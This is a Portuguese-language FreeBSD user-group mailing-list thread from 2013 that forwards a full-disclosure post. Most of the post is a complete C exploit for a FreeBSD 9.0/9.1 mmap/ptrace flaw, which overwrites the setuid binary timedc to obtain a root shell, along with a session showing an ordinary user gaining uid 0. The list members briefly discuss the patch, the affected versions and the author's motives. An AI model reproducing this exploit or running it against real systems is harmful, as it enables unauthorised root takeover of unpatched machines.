[FUG-BR] Fwd: Happy Birthday FreeBSD! Now you are 20 years old and your security is the same as 20 years ago... :)
Marcelo Gondim
gondim em bsdinfo.com.br
Segunda Junho 24 21:50:00 BRT 2013
Em 24/06/13 18:44, firebits escreveu:
> Marcelo Gondim, cita para nós qual é a lista de security, que fez essa
> afirmação, fiquei curioso...rss
>
> @firebitsbr
Foi o Emiel Kollof que mandou pra bugtraq (bugtraq em securityfocus.com)
>
>
> Em 20 de junho de 2013 17:38, Marcelo Gondim <gondim em bsdinfo.com.br>escreveu:
>
>> Em 20/06/13 15:42, Evandro Nunes escreveu:
>>> On Thu, Jun 20, 2013 at 9:29 AM, Marcelo Gondim <gondim em bsdinfo.com.br
>>> wrote:
>>>
>>>> É pessoal,
>>>>
>>>> Sei que a vulnerabilidade foi corrigida agora mas foram 20 anos para
>>>> detectar isso? :(
>>>> E funciona lindo mesmo o programa.
>>>>
>>> de onde saiu isso que tem 20 anos? pelo pouco que deu pra ler explora uma
>>> falha do freebsd 9 inclusive o security adv so explora o freebsd 9
>>> alguem teve sucesso com freebsd 8, 7, outro?
>>> acho que a frase "seguranca de 20 anos atras" foi apenas ironiazinha
>>> pelo que vi esse vulnerabilidade nao afeta quem tem debug de processo nao
>>> root nem quem tem mac_partition ou bsdextended implementado
>>>
>>> nego quer é aparecer rss rsss a falha tai, mas não teve 0day inclusive o
>>> "ultra mega hacker expert" só fez o exploit depois que o advisory foi
>>> publicado, e ainda levou 2 dias pra conseguir explorar o que ja estava
>>> documentado e corrigido e vem tirar uma onda de full disclosure...
>> Pois é recebi isso em uma lista de segurança que assino. Consegui um 8.4
>> e testei e não rola. Só no 9 mesmo.
>> Esses caras são uns paiaços mesmo rsrsrsrsrs
>>
>>>
>>>> -------- Mensagem original --------
>>>> Assunto: Happy Birthday FreeBSD! Now you are 20 years old and
>> your
>>>> security is the same as 20 years ago... :)
>>>> Data: Wed, 19 Jun 2013 23:32:59 +0200
>>>> De: Hunger <hunger em hunger.hu>
>>>> Para: full-disclosure em lists.grok.org.uk
>>>>
>>>>
>>>>
>>>> $ uname -a
>>>> FreeBSD fbsd91x64 9.1-RELEASE FreeBSD 9.1-RELEASE #0 r243825: Tue Dec
>>>> 4 09:23:10 UTC 2012
>>>> root em farrell.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC amd64
>>>> $ id
>>>> uid=1001(hunger) gid=1002(hunger) groups=1002(hunger)
>>>> $ gcc fbsd9lul.c -o fbsd9lul
>>>> $ ./fbsd9lul
>>>> FreeBSD 9.{0,1} mmap/ptrace exploit
>>>> by Hunger <fbsd9lul em hunger.hu>
>>>> # id
>>>> uid=0(root) gid=0(wheel) egid=1002(hunger) groups=1002(hunger)
>>>> #
>>>>
>>>>
>>>> ============================ code =========================
>>>>
>>>> /*
>>>> * FreeBSD 9.{0,1} mmap/ptrace exploit
>>>> * by Hunger<fbsd9lul em hunger.hu>
>>>> *
>>>> * Happy Birthday FreeBSD!
>>>> * Now you are 20 years old and your security is the same as 20 years
>>>> ago...
>>>> *
>>>> * Greetings to #nohup, _2501, boldi, eax, johnny_b, kocka, op,
>> pipacs,
>>>> prof,
>>>> * sd, sghctoma, snq, spender, s2crew and others at
>>>> #hekkcamp:
>>>> * I hope we'll meet again at 8 em 1470n
>>>> *
>>>> * Special thanks to proactivesec.com
>>>> *
>>>> */
>>>>
>>>> #include <err.h>
>>>> #include <errno.h>
>>>> #include <unistd.h>
>>>> #include <stdio.h>
>>>> #include <stdlib.h>
>>>> #include <string.h>
>>>> #include <fcntl.h>
>>>> #include <sys/stat.h>
>>>> #include <sys/mman.h>
>>>> #include <sys/types.h>
>>>> #include <sys/ptrace.h>
>>>> #include <sys/wait.h>
>>>>
>>>> #define SH "/bin/sh"
>>>> #define TG "/usr/sbin/timedc"
>>>>
>>>> int
>>>> main(int ac, char **av) {
>>>> int from_fd, to_fd, status;
>>>> struct stat st;
>>>> struct ptrace_io_desc piod;
>>>> char *s, *d;
>>>> pid_t pid;
>>>>
>>>> if (geteuid() == 0) {
>>>> setuid(0);
>>>> execl(SH, SH, NULL);
>>>> return 0;
>>>> }
>>>>
>>>> printf("FreeBSD 9.{0,1} mmap/ptrace exploit\n");
>>>> printf("by Hunger<fbsd9lul em hunger.hu>\n");
>>>>
>>>> if ((from_fd = open(av[0], O_RDONLY)) == -1 ||
>>>> (to_fd = open(TG, O_RDONLY)) == -1)
>>>> err(1, "open");
>>>>
>>>> if (stat(av[0], &st) == -1)
>>>> err(2, "stat");
>>>>
>>>> if (((s = mmap(NULL, (size_t)st.st_size, PROT_READ,
>>>> MAP_SHARED, from_fd, (off_t)0)) == MAP_FAILED) ||
>>>> (d = mmap(NULL, (size_t)st.st_size, PROT_READ,
>>>> MAP_SHARED|MAP_NOSYNC, to_fd, (off_t)0)) ==
>>>> MAP_FAILED)
>>>> err(3, "mmap");
>>>>
>>>> if ((pid = fork()) == -1)
>>>> err(4, "fork");
>>>>
>>>> if (!pid) {
>>>> if (ptrace(PT_TRACE_ME, pid, NULL, 0) == -1)
>>>> err(5, "ptraceme");
>>>>
>>>> return 0;
>>>> }
>>>>
>>>> if (ptrace(PT_ATTACH, pid, NULL, 0) == -1)
>>>> err(6, "ptattach");
>>>>
>>>> if (wait(&status) == -1)
>>>> err(7, "wait");
>>>>
>>>> piod.piod_op = PIOD_WRITE_D;
>>>> piod.piod_offs = d;
>>>> piod.piod_addr = s;
>>>> piod.piod_len = st.st_size;
>>>>
>>>> if (ptrace(PT_IO, pid, (caddr_t)&piod, 0) == -1)
>>>> err(8, "ptio");
>>>>
>>>> execl(TG, TG, NULL);
>>>>
>>>> return 0;
>>>> }
>>>>
>>>>
>>>>
>>>> -------------------------
>>>> Histórico: http://www.fug.com.br/historico/html/freebsd/
>>>> Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd
>>>>
>>> -------------------------
>>> Histórico: http://www.fug.com.br/historico/html/freebsd/
>>> Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd
>>>
>> -------------------------
>> Histórico: http://www.fug.com.br/historico/html/freebsd/
>> Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd
>>
> -------------------------
> Histórico: http://www.fug.com.br/historico/html/freebsd/
> Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd
>
Mais detalhes sobre a lista de discussão freebsd